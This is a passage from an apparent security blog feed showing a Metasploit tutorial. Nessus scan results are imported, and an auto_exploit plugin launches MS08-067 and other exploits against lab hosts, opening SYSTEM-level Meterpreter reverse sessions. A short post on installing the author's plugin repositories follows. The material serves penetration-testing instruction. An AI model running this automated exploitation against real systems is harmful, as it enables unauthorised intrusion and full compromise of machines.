</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[*] 192.168.1.192
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.156
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.155
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.154
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.153
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[*] 192.168.1.146
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[*] 192.168.1.143
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[*] 192.168.1.134
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.23%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[*] 192.168.1.113
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.109
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.102
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 18px; font-size: 11px">[*] 192.168.1.100
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">[*] 192.168.1.1
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+] Done</pre></pre>

<p>After the import you can look at the vulnerabilities found by using the <strong>vulns</strong> command:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">msf &gt; vulns
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:44 UTC Vuln: host=192.168.1.1 port=443 proto=tcp name=Nessus SYN scanner refs=NSS-11219
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=111 proto=tcp name=Nessus SYN scanner refs=NSS-11219
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check) refs=CVE-2008-4250,BID-31874,OSVDB-49243,IAVA-2008-A-0081,MSFT-MS08-067,CWE-94,MSF-Microsoft Server Service Relative Path Stack Corruption,NSS-34477
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=53 proto=tcp name=Nessus SNMP Scanner refs=NSS-14274
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.100 port=59159 proto=tcp name=netstat portscanner (SSH) refs=NSS-14272
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.102 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.109 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">.......</pre></pre>
<style type="text/css">




.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>

<p><style type="text/css">




.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style></p>

<p>Once we confirm that vulnerabilities where found we can use the auto_exploit plugin I wrote and updated for this blogpost, it can be found at <a title="https://github.com/darkoperator/Metasploit-Plugins/blob/master/auto_exploit.rb" href="https://github.com/darkoperator/Metasploit-Plugins/blob/master/auto_exploit.rb">https://github.com/darkoperator/Metasploit-Plugins/blob/master/auto_exploit.rb</a> you just need to put a copy of it in your OSX/Linux host in to ~/.msf4/plugins so as to be able to use it. We start by loading it and looking at the options of the <strong>vuln_exploit</strong> command that will allow us to exploit the hosts found to be vulnerable:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">msf &gt; <strong>load auto_exploit</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] auto_exploit plug-in loaded.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] Successfully loaded plugin: auto_exploit
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">msf &gt; vuln_exploit -h
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 25px; font-size: 11px">OPTIONS:
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">    -f <span style="color: #0000ff">&lt;</span><span style="color: #800000">opt</span><span style="color: #0000ff">&gt;</span>  Provide a comma separated list of IP's and Ranges to skip when running exploits.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">    -h        Command Help
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">    -j <span style="color: #0000ff">&lt;</span><span style="color: #800000">opt</span><span style="color: #0000ff">&gt;</span>  Max number of concurrent jobs, 3 is the default.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">    -m        Only show matched exploits.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">    -r <span style="color: #0000ff">&lt;</span><span style="color: #800000">opt</span><span style="color: #0000ff">&gt;</span>  Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">    -s        Do not limit number of sessions to one per target.</pre></pre>
<style type="text/css">



.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>

<p>To launch the exploits found we just use the vuln_exploit command, this will analyze the vulnerabilities found and match them modules in the framework launching by default 3 exploits at a time auto configured with the best possible payload for the platform and limiting to one session per host:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">msf &gt; <strong>vuln_exploit</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Generating List for Matching...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Matching Exploits (This will take a while depending on number of hosts)...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+] Matched Exploits:
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/smb/ms08_067_netapi 445 500
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.113 exploit/windows/smb/ms08_067_netapi 445 500
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.99 exploit/windows/smb/ms08_067_netapi 445 500
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.192 exploit/windows/smb/ms08_067_netapi 445 500
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom 135 500
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.154 exploit/linux/samba/lsa_transnames_heap 445 400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.113 exploit/windows/smb/ms06_040_netapi 445 400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/smb/ms04_011_lsass 445 400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/smb/ms06_040_netapi 445 400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/smb/ms05_039_pnp 445 400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/smb/ms04_007_killbill 445 100
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running Exploits:
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.153
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Started reverse handler on 192.168.1.241:29271 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.113
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Automatically detecting the target...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Started reverse handler on 192.168.1.241:4643 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.99
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Started reverse handler on 192.168.1.241:14900 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Automatically detecting the target...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Automatically detecting the target...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] We could not detect the language pack, defaulting to English
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Selected Target: Windows 2003 SP2 English (NX)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Fingerprint: Windows 2000 - Service Pack 4 with MS05-010+ - lang:English
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Selected Target: Windows 2000 Universal
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Attempting to trigger the vulnerability...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Sending stage (752128 bytes) to 192.168.1.99
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Attempting to trigger the vulnerability...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Sending stage (752128 bytes) to 192.168.1.153
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Attempting to trigger the vulnerability...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Sending stage (752128 bytes) to 192.168.1.113
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] waiting for finishing some modules... active jobs: 3 / threads: 16
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Meterpreter session 1 opened (192.168.1.241:14900 -&gt; 192.168.1.99:1513) at 2012-02-16 12:54:23 -0400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Meterpreter session 2 opened (192.168.1.241:29271 -&gt; 192.168.1.153:2709) at 2012-02-16 12:54:23 -0400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Meterpreter session 3 opened (192.168.1.241:4643 -&gt; 192.168.1.113:4035) at 2012-02-16 12:54:23 -0400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] waiting for finishing some modules... active jobs: 0 / threads: 19
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.192
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Started reverse handler on 192.168.1.241:15430 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running exploit/linux/samba/lsa_transnames_heap against 192.168.1.154
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Automatically detecting the target...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] We could not detect the language pack, defaulting to English
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Selected Target: Windows 2003 SP2 English (NX)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.113 exploit/windows/smb/ms06_040_netapi because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Started reverse handler on 192.168.1.241:48452 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.153 exploit/windows/smb/ms04_011_lsass because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Creating nop sled....
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.153 exploit/windows/smb/ms06_040_netapi because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.153 exploit/windows/smb/ms05_039_pnp because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.153 exploit/windows/smb/ms04_007_killbill because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Trying to exploit Samba with address 0xffffe410...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Connecting to the SMB service...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Attempting to trigger the vulnerability...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">msf &gt; [*] Sending stage (752128 bytes) to 192.168.1.192
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Meterpreter session 4 opened (192.168.1.241:15430 -&gt; 192.168.1.192:1597) at 2012-02-16 12:54:29 -0400</pre></pre>

<p><style type="text/css">


.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style></p>

<p>We can now take a look at the sessions found using the <strong>sessions</strong> command:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 25px; font-size: 11px">msf &gt; <strong>sessions</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">Active sessions
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">===============
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 25px; font-size: 11px">  Id  Type                   Information                            Connection
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">  --  ----                   -----------                            ----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ CARLOS-CD652C1C  192.168.1.241:14900 -&gt; 192.168.1.99:1513
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 24px; font-size: 11px">  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN2KADV01       192.168.1.241:29271 -&gt; 192.168.1.153:2709
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">  3   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ TEST-01BCDAF47C  192.168.1.241:4643 -&gt; 192.168.1.113:4035
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">  4   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ DBSQL2K01        192.168.1.241:15430 -&gt; 192.168.1.192:1597</pre></pre>

<p>As you can see the mix of the the new filtering in Nessus 5 with the Nessus plugin and my auto_exploit plugin allows to one be less noisy and more tactical when it comes to exploitation when used in conjunction. Hope you found this blog post informative and useful as always.</p>]]></content></entry><entry><title>Tip on Using My GitHub Repos</title><id>http://www.darkoperator.com/blog/2012/1/30/tip-on-using-my-github-repos.html</id><link rel="alternate" type="text/html" href="http://www.darkoperator.com/blog/2012/1/30/tip-on-using-my-github-repos.html"/><author><name>Carlos Perez</name></author><published>2012-01-31T00:09:08Z</published><updated>2012-01-31T00:09:08Z</updated><content type="html" xml:lang="en-US"><![CDATA[<p>I was recently asked what would be the best way to use my Metasploit projects in a an easy manner, so I will share how I did my setup for both OS X and Backtrack for using my plugins and modules. Let start first with creating a Development folder in the users home directory to house the GitHub repos</p>

<pre>
mkdir ~/Development
</pre>

<p>After this you can clone the repos in to this folder:</p>

<pre>
cd ~/Deveolpment
git clone https://github.com/darkoperator/Metasploit-Plugins.git msf_plugins
git clone https://github.com/darkoperator/Meterpreter-Scripts.git msf_modules
</pre>

<p>Now we can link the modules to our ~/.msf4 directory so we can use them transparently with any instance of the framework we might be running on the machine:</p>

<pre>
ln -s ~/Development/msf_plugins/ ~/.msf4/plugins
ln -s ~/Development/msf_modules/ ~/.msf4/modules
</pre>

<p>To keep them updated is just a simple git pull in each directory to get the latest changes and bug fixes.</p>
]]></content></entry></feed>
